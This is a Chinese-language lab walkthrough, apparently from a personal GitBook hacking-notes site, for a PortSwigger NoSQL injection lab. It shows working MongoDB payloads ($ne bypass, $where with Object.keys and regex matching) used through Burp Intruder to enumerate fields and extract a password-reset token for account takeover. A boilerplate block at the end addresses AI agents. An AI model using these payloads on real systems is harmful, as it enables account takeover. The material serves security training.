> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md).
# 使用 NoSQL 运算符提取未知字段
面向 PortSwigger Web Security Academy 实验室的使用 NoSQL 运算符提取未知字段笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。
### 利用 NoSQL 运算符注入提取未知字段
本实验的用户搜索功能基于 MongoDB NoSQL 数据库。它存在 NoSQL 注入漏洞。/ 目标是以 **carlos**.
#### 初始上下文
有一个功能 **忘记密码**.
通过 POST 发送到 `/forgot-password` 看起来像这样：
```bash
csrf=55UFZpEwaPzlRg9d0CRKOf8OZ4GSm2jj&username=test
```
### 登录时的 NoSQL 注入测试
尝试在登录表单中注入 NoSQL 时：
```json
{
"username": "carlos",
"password": { "$ne": "x" }
}
```
账户被锁定，并出现以下消息：
> 账户已锁定：请重置你的密码
#### 使用 `$where`
可以观察到，添加 `$where` 字段会被服务器解析为：
* 如果 `$where` 是 `1` → 账户仍然被锁定
* 如果 `$where` 值得 `0` → 锁定消失
示例：
```json
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "0"
}
```
这证实了 `$where` 运算符可执行。
#### 限制与策略调整
原本的思路是使用 `$where` 直接检查密码，例如：
```json
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "this.password...."
}
```
然而，由于账户已锁定，这种方法不可用。/ 因此你必须通过一个 **密码重置**.
#### 列出用户对象字段
`$where` 用于列出用户对象键，使用：
```javascript
Object.keys(this)[0].match('^.{X}Y.*')
```
完整请求：
```json
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "Object.keys(this)[0].match('^.{X}Y.*')"
}
```
* `X`：字符位置（0-20）
* `Y`：测试字符（`a-z`, `A-Z`, `0-9`)
通过 **Intruder** 替换为 **集束炸弹**
#### 字段枚举结果
根据响应长度（**Content-Length**):
* `Object.keys(this)[0]` → `id`
```javascript
"$where": "Object.keys(this)[1].match('^.{X}Y.*')"
```
* `Object.keys(this)[1]` → `用户名`
* `Object.keys(this)[2]` → `密码`
```javascript
"$where": "Object.keys(this)[2].match('^.{X}Y.*')"
```
* `Object.keys(this)[3]` → `email`
* `Object.keys(this)[4]` → `passwordReset`
" 这个 `passwordReset` 字段仅在以下情况时才会出现：已为 **carlos**.
```javascript
"$where": "Object.keys(this)[4].match('^.{X}Y.*')"
```
#### 对 `passwordReset` 字段
访问该端点：
```bash
/forgot-password?passwordReset=
```
答案：
> 无效令牌
该字段存在
#### 令牌列表 `passwordReset`
然后提取令牌的值：
```javascript
"$where": "this.passwordReset.match('^.{X}Y.*')"
```
```javascript
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "this.passwordReset.match('^.{X}Y.*')"
}
```
* `X`：字符位置
* `Y`：可能的字符
* 通过 **Intruder** （集束炸弹）
#### 结果
该 **carlos** 找到重置令牌：
```bash
5d252f7e28f468ee
```
#### 最终利用
使用此令牌，你可以访问密码重置功能，并为 **carlos**，从而可以登录你的账户并完成实验验证。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
